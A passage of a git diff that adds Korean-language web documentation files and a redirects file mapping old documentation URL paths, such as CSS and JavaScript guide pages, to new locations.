files/ko/xslt_in_gecko/generating_html/index.html create mode 100644 files/ko/xslt_in_gecko/index.html create mode 100644 files/ko/xslt_in_gecko/introduction/index.html create mode 100644 files/ko/xslt_in_gecko/resources/index.html create mode 100644 files/ko/xtech_2005_presentations/directions_of_the_mozilla_rdf_engine/index.html create mode 100644 files/ko/xtech_2005_presentations/index.html create mode 100644 files/ko/xul_changes_for_firefox_1.5/index.html create mode 100644 files/ko/xul_improvements_in_firefox_3/index.html create mode 100644 files/ko/zones/index.html create mode 100644 "files/ko/\352\260\234\353\260\234\354\236\220\353\245\274_\354\234\204\355\225\234_firefox_3.6/index.html" create mode 100644 "files/ko/\354\247\200\354\227\255\354\235\230_\354\275\224\353\223\234\353\245\274_\354\224\201\353\213\210\353\213\244/index.html" create mode 100644 "files/ko/\355\231\225\354\236\245\352\270\260\353\212\245_\352\260\234\353\260\234_\355\231\230\352\262\275_\352\265\254\354\266\225/index.html" (limited to 'files/ko') diff --git a/files/ko/_redirects.txt b/files/ko/_redirects.txt new file mode 100644 index 0000000000..6c7c23cf9e --- /dev/null +++ b/files/ko/_redirects.txt @@ -0,0 +1,975 @@ +# FROM-URL TO-URL +/ko/docs/%EB%8C%80%EB%AC%B8 /ko/docs/Web +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4 /ko/docs/Tools +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/%EB%8B%A8%EC%B6%95%ED%82%A4 /ko/docs/Tools/%EB%8B%A8%EC%B6%95%ED%82%A4 +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Add-ons /ko/docs/Tools/Add-ons +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Add-ons/DOM_Inspector /ko/docs/Tools/Add-ons/DOM_Inspector +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Debugger /ko/docs/Tools/Debugger +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Debugger/%EB%8B%A8%EC%B6%95%ED%82%A4 /ko/docs/Tools/Debugger/%EB%8B%A8%EC%B6%95%ED%82%A4 +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Debugger/UI_Tour /ko/docs/Tools/Debugger/UI_Tour +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to /ko/docs/Tools/How_to +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to/Open_the_debugger /ko/docs/Tools/How_to/Open_the_debugger +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to/Search /ko/docs/Tools/How_to/Search +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/How_to/Set_a_breakpoint /ko/docs/Tools/How_to/Set_a_breakpoint +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Network_Monitor /ko/docs/Tools/Network_Monitor +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Page_Inspector /ko/docs/Tools/Page_Inspector +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Page_Inspector/UI_Tour /ko/docs/Tools/Page_Inspector/UI_Tour +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Performance /ko/docs/Tools/Performance +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Performance/UI_Tour /ko/docs/Tools/Performance/UI_Tour +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Remote_Debugging /ko/docs/Tools/Remote_Debugging +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Remote_Debugging/Firefox_for_Android /ko/docs/Tools/Remote_Debugging/Firefox_for_Android +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Scratchpad /ko/docs/Tools/Scratchpad +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/WebIDE /ko/docs/Tools/WebIDE +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/WebIDE/%EB%AC%B8%EC%A0%9C%ED%95%B4%EA%B2%B0 /ko/docs/Tools/WebIDE/%EB%AC%B8%EC%A0%9C%ED%95%B4%EA%B2%B0 +/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Web_Console /ko/docs/Tools/Web_Console +/ko/docs/%EB%AA%A8%EC%A7%88%EB%9D%BC_%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8_%EC%B0%B8%EC%97%AC%ED%95%98%EA%B8%B0_(Participating_in_the_Mozilla_project) /ko/docs/Mozilla/Developer_guide +/ko/docs/%ED%98%B8%ED%99%98_%EB%AA%A8%EB%93%9C%EC%99%80_%ED%91%9C%EC%A4%80_%EB%AA%A8%EB%93%9C /ko/docs/Web/HTML/Quirks_Mode_and_Standards_Mode +/ko/docs/AJAX /ko/docs/Web/Guide/AJAX +/ko/docs/AJAX/Getting_Started /ko/docs/Web/Guide/AJAX/Getting_Started +/ko/docs/AJAX:Getting_Started /ko/docs/Web/Guide/AJAX/Getting_Started +/ko/docs/A_Basic_RayCaster:input.js /ko/docs/A_Basic_RayCaster/input.js +/ko/docs/About_JavaScript /ko/docs/Web/JavaScript/About +/ko/docs/About_the_Document_Object_Model /ko/docs/Web/API/Document_Object_Model +/ko/docs/Accessibility /ko/docs/Web/Accessibility +/ko/docs/Accessibility/ARIA /ko/docs/Web/Accessibility/ARIA +/ko/docs/Accessibility/An_overview_of_accessible_web_applications_and_widgets /ko/docs/Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +/ko/docs/Alternative_style_sheets /ko/docs/Web/CSS/Alternative_style_sheets +/ko/docs/Apps/Manifest /ko/docs/Web/Apps/Developing/Manifest/Manifest +/ko/docs/Apps/Progressive /ko/docs/Web/Progressive_web_apps +/ko/docs/Apps/Progressive/%EC%86%8C%EA%B0%9C /ko/docs/Web/Progressive_web_apps/%EC%86%8C%EA%B0%9C +/ko/docs/Apps/Progressive/Add_to_home_screen /ko/docs/Web/Progressive_web_apps/Add_to_home_screen +/ko/docs/Apps/Progressive/App_structure /ko/docs/Web/Progressive_web_apps/App_structure +/ko/docs/Apps/Progressive/Installable_PWAs /ko/docs/Web/Progressive_web_apps/Installable_PWAs +/ko/docs/Apps/Progressive/Offline_Service_workers /ko/docs/Web/Progressive_web_apps/Offline_Service_workers +/ko/docs/Apps/Progressive/Re-engageable_Notifications_Push /ko/docs/Web/Progressive_web_apps/Re-engageable_Notifications_Push +/ko/docs/Build_Documentation /ko/docs/Mozilla/Developer_guide/Build_Documentation +/ko/docs/Build_Documentation/TOC /ko/docs/Mozilla/Developer_guide/Build_Documentation/TOC +/ko/docs/Build_Documentation/Windows_Prerequisites /ko/docs/Mozilla/Developer_guide/Build_Documentation/Windows_Prerequisites +/ko/docs/Building_PyXPCOM /ko/docs/Mozilla/Developer_guide/Build_Documentation/Building_PyXPCOM +/ko/docs/CSS /ko/docs/Web/CSS +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0 /en-US/docs/Learn/CSS/First_steps +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%82%B4%EC%9A%A9%EB%AC%BC /ko/docs/Learn/CSS/Howto/Generated_content +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%A6%AC%EC%8A%A4%ED%8A%B8 /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%A6%AC%EC%8A%A4%ED%8A%B8 +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4 /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4 +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98 /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98 +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90 /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90 +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%89%EC%83%81 /en-US/docs/Learn/CSS/Building_blocks/Values_and_units +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%84%A4%EB%A0%89%ED%84%B0 /en-US/docs/Learn/CSS/Building_blocks/Selectors +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%95%8C%EA%B8%B0_%EC%89%AC%EC%9A%B4_CSS /ko/docs/Learn/CSS/Introduction_to_CSS/Syntax#구문_그_너머_읽기_편한_CSS +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%99%9C_CSS%EB%A5%BC_%EC%82%AC%EC%9A%A9%ED%95%98%EB%82%98 /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8C%EC%9D%B4%EB%B8%94 /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8C%EC%9D%B4%EB%B8%94 +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8D%EC%8A%A4%ED%8A%B8_%EC%8A%A4%ED%83%80%EC%9D%BC /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%ED%85%8D%EC%8A%A4%ED%8A%B8_%EC%8A%A4%ED%83%80%EC%9D%BC +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS%EB%9E%80 /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/CSS_%EB%8F%99%EC%9E%91_%EC%9B%90%EB%A6%AC /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS/@font-face /ko/docs/Web/CSS/@font-face +/ko/docs/CSS/Getting_Started /ko/docs/CSS/시작하기 +/ko/docs/CSS/Getting_Started/Boxes /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90 +/ko/docs/CSS/Getting_Started/Cascading_and_inheritance /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D +/ko/docs/CSS/Getting_Started/Color /en-US/docs/Learn/CSS/Building_blocks/Values_and_units +/ko/docs/CSS/Getting_Started/Content /ko/docs/Learn/CSS/Howto/Generated_content +/ko/docs/CSS/Getting_Started/How_CSS_works /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS/Getting_Started/JavaScript /ko/docs/Web/CSS/Getting_Started/JavaScript +/ko/docs/CSS/Getting_Started/Layout /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98 +/ko/docs/CSS/Getting_Started/Lists /ko/docs/Web/CSS/시작하기/리스트 +/ko/docs/CSS/Getting_Started/Media /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4 +/ko/docs/CSS/Getting_Started/Readable_CSS /ko/docs/Web/CSS/시작하기/알기_쉬운_CSS +/ko/docs/CSS/Getting_Started/SVG_graphics /ko/docs/Web/CSS/Getting_Started/SVG_graphics +/ko/docs/CSS/Getting_Started/Selectors /ko/docs/Web/CSS/시작하기/설렉터 +/ko/docs/CSS/Getting_Started/Tables /ko/docs/Web/CSS/시작하기/테이블 +/ko/docs/CSS/Getting_Started/Text_styles /ko/docs/Web/CSS/시작하기/텍스트_스타일 +/ko/docs/CSS/Getting_Started/What_is_CSS /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS/Getting_Started/Why_use_CSS /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS/Getting_Started/XBL_bindings /ko/docs/Web/CSS/Getting_Started/XBL_bindings +/ko/docs/CSS/Getting_Started/XML_data /ko/docs/Web/CSS/Getting_Started/XML_data +/ko/docs/CSS/Getting_Started/XUL_user_interfaces /ko/docs/Web/CSS/Getting_Started/XUL_user_interfaces +/ko/docs/CSS/Scaling_background_images /ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +/ko/docs/CSS/Understanding_z-index /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/ko/docs/CSS/Understanding_z-index-redirect-1 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index +/ko/docs/CSS/Understanding_z-index/Adding_z-index /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index +/ko/docs/CSS/Understanding_z-index/Stacking_and_float /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/ko/docs/CSS/Understanding_z-index/Stacking_and_float-redirect-1 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float +/ko/docs/CSS/Understanding_z-index/Stacking_context_example_1 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1 +/ko/docs/CSS/Understanding_z-index/Stacking_context_example_2 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +/ko/docs/CSS/Understanding_z-index/Stacking_context_example_2-redirect-1 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2 +/ko/docs/CSS/Understanding_z-index/Stacking_context_example_3 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3 +/ko/docs/CSS/Understanding_z-index/Stacking_without_z-index /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/ko/docs/CSS/Understanding_z-index/Stacking_without_z-index-redirect-1 /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index +/ko/docs/CSS/Understanding_z-index/The_stacking_context /ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context +/ko/docs/CSS/Using_CSS_animations /ko/docs/Web/CSS/CSS_Animations/Using_CSS_animations +/ko/docs/CSS/Using_CSS_multiple_backgrounds /ko/docs/Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +/ko/docs/CSS/Using_CSS_transforms /ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms +/ko/docs/CSS/Writing_Efficient_CSS /ko/docs/Web/CSS/Writing_Efficient_CSS +/ko/docs/CSS/Writing_Efficient_CSS-redirect-1 /ko/docs/Web/CSS/Writing_Efficient_CSS +/ko/docs/CSS/animation /ko/docs/Web/CSS/animation +/ko/docs/CSS/background /ko/docs/Web/CSS/background +/ko/docs/CSS/background-color /ko/docs/Web/CSS/background-color +/ko/docs/CSS/background-image /ko/docs/Web/CSS/background-image +/ko/docs/CSS/border-radius /ko/docs/Web/CSS/border-radius +/ko/docs/CSS/box-shadow /ko/docs/Web/CSS/box-shadow +/ko/docs/CSS/cursor /ko/docs/Web/CSS/cursor +/ko/docs/CSS/cursor/Using_URL_values_for_the_cursor_property /ko/docs/Web/CSS/cursor/Using_URL_values_for_the_cursor_property +/ko/docs/CSS/initial_value /ko/docs/Web/CSS/initial_value +/ko/docs/CSS/linear-gradient /ko/docs/Web/CSS/linear-gradient() +/ko/docs/CSS/table-layout /ko/docs/Web/CSS/table-layout +/ko/docs/CSS/text-shadow /ko/docs/Web/CSS/text-shadow +/ko/docs/CSS/transform /ko/docs/Web/CSS/transform +/ko/docs/CSS/z-index /ko/docs/Web/CSS/z-index +/ko/docs/CSS:Getting_Started /ko/docs/CSS/시작하기 +/ko/docs/CSS:Getting_Started:Boxes /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%83%81%EC%9E%90 +/ko/docs/CSS:Getting_Started:Cascading_and_inheritance /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EC%A2%85%EC%86%8D%EA%B3%BC_%EC%83%81%EC%86%8D +/ko/docs/CSS:Getting_Started:Color /en-US/docs/Learn/CSS/Building_blocks/Values_and_units +/ko/docs/CSS:Getting_Started:Content /ko/docs/Learn/CSS/Howto/Generated_content +/ko/docs/CSS:Getting_Started:How_CSS_works /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS:Getting_Started:JavaScript /ko/docs/Web/CSS/Getting_Started/JavaScript +/ko/docs/CSS:Getting_Started:Layout /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%B0%B0%EC%B9%98 +/ko/docs/CSS:Getting_Started:Lists /ko/docs/Web/CSS/시작하기/리스트 +/ko/docs/CSS:Getting_Started:Media /ko/docs/Web/CSS/%EC%8B%9C%EC%9E%91%ED%95%98%EA%B8%B0/%EB%AF%B8%EB%94%94%EC%96%B4 +/ko/docs/CSS:Getting_Started:Readable_CSS /ko/docs/Web/CSS/시작하기/알기_쉬운_CSS +/ko/docs/CSS:Getting_Started:SVG_graphics /ko/docs/Web/CSS/Getting_Started/SVG_graphics +/ko/docs/CSS:Getting_Started:Selectors /ko/docs/Web/CSS/시작하기/설렉터 +/ko/docs/CSS:Getting_Started:Tables /ko/docs/Web/CSS/시작하기/테이블 +/ko/docs/CSS:Getting_Started:Text_styles /ko/docs/Web/CSS/시작하기/텍스트_스타일 +/ko/docs/CSS:Getting_Started:What_is_CSS /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS:Getting_Started:Why_use_CSS /en-US/docs/Learn/CSS/First_steps/How_CSS_works +/ko/docs/CSS:Getting_Started:XBL_bindings /ko/docs/Web/CSS/Getting_Started/XBL_bindings +/ko/docs/CSS:Getting_Started:XML_data /ko/docs/Web/CSS/Getting_Started/XML_data +/ko/docs/CSS:Getting_Started:XUL_user_interfaces /ko/docs/Web/CSS/Getting_Started/XUL_user_interfaces +/ko/docs/CSS:background /ko/docs/Web/CSS/background +/ko/docs/CSS:initial_value /ko/docs/Web/CSS/initial_value +/ko/docs/CSS_Reference /ko/docs/Web/CSS/Reference +/ko/docs/CSS_Reference/Property_Template /ko/docs/Web/CSS/Reference/Property_Template +/ko/docs/CSS_Reference:Property_Template /ko/docs/Web/CSS/Reference/Property_Template +/ko/docs/Canvas_tutorial:Basic_usage /ko/docs/Canvas_tutorial/Basic_usage +/ko/docs/Canvas_tutorial:Drawing_shapes /ko/docs/Canvas_tutorial/Drawing_shapes +/ko/docs/Canvas_tutorial:Transformations /ko/docs/Canvas_tutorial/Transformations +/ko/docs/Core_JavaScript_1.5_Guide /ko/docs/Web/JavaScript/Guide +/ko/docs/Core_JavaScript_1.5_Guide/About /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About +/ko/docs/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages +/ko/docs/Core_JavaScript_1.5_Guide/Constants /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function +/ko/docs/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References +/ko/docs/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression +/ko/docs/Core_JavaScript_1.5_Guide/Expressions /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions +/ko/docs/Core_JavaScript_1.5_Guide/JavaScript_Overview /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview +/ko/docs/Core_JavaScript_1.5_Guide/Literals /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals +/ko/docs/Core_JavaScript_1.5_Guide/Objects_and_Properties /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties +/ko/docs/Core_JavaScript_1.5_Guide/Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/Logical_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/Special_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Operators/String_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators +/ko/docs/Core_JavaScript_1.5_Guide/Predefined_Core_Objects /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects +/ko/docs/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object +/ko/docs/Core_JavaScript_1.5_Guide/Unicode /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode +/ko/docs/Core_JavaScript_1.5_Guide/Values /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values +/ko/docs/Core_JavaScript_1.5_Guide/Variables /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables +/ko/docs/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern +/ko/docs/Core_JavaScript_1.5_Guide:About /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About +/ko/docs/Core_JavaScript_1.5_Guide:About:Core_Language_Features /ko/docs/Core_JavaScript_1.5_Guide/About/Core_Language_Features +/ko/docs/Core_JavaScript_1.5_Guide:Constants /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Getters_and_Setters /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Methods /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Deleting_Properties /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Indexing_Object_Properties /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_a_Constructor_Function /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function +/ko/docs/Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References +/ko/docs/Core_JavaScript_1.5_Guide:Creating_a_Regular_Expression /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression +/ko/docs/Core_JavaScript_1.5_Guide:Expressions /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions +/ko/docs/Core_JavaScript_1.5_Guide:Expressions_and_Operators /ko/docs/Core_JavaScript_1.5_Guide/Expressions_and_Operators +/ko/docs/Core_JavaScript_1.5_Guide:JavaScript_Overview /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview +/ko/docs/Core_JavaScript_1.5_Guide:Literals /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals +/ko/docs/Core_JavaScript_1.5_Guide:Objects_and_Properties /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties +/ko/docs/Core_JavaScript_1.5_Guide:Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:Arithmetic_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:Assignment_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:Bitwise_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:Comparison_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Comparison_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:Logical_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Operators:String_Operators /ko/docs/Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators +/ko/docs/Core_JavaScript_1.5_Guide:Predefined_Core_Objects 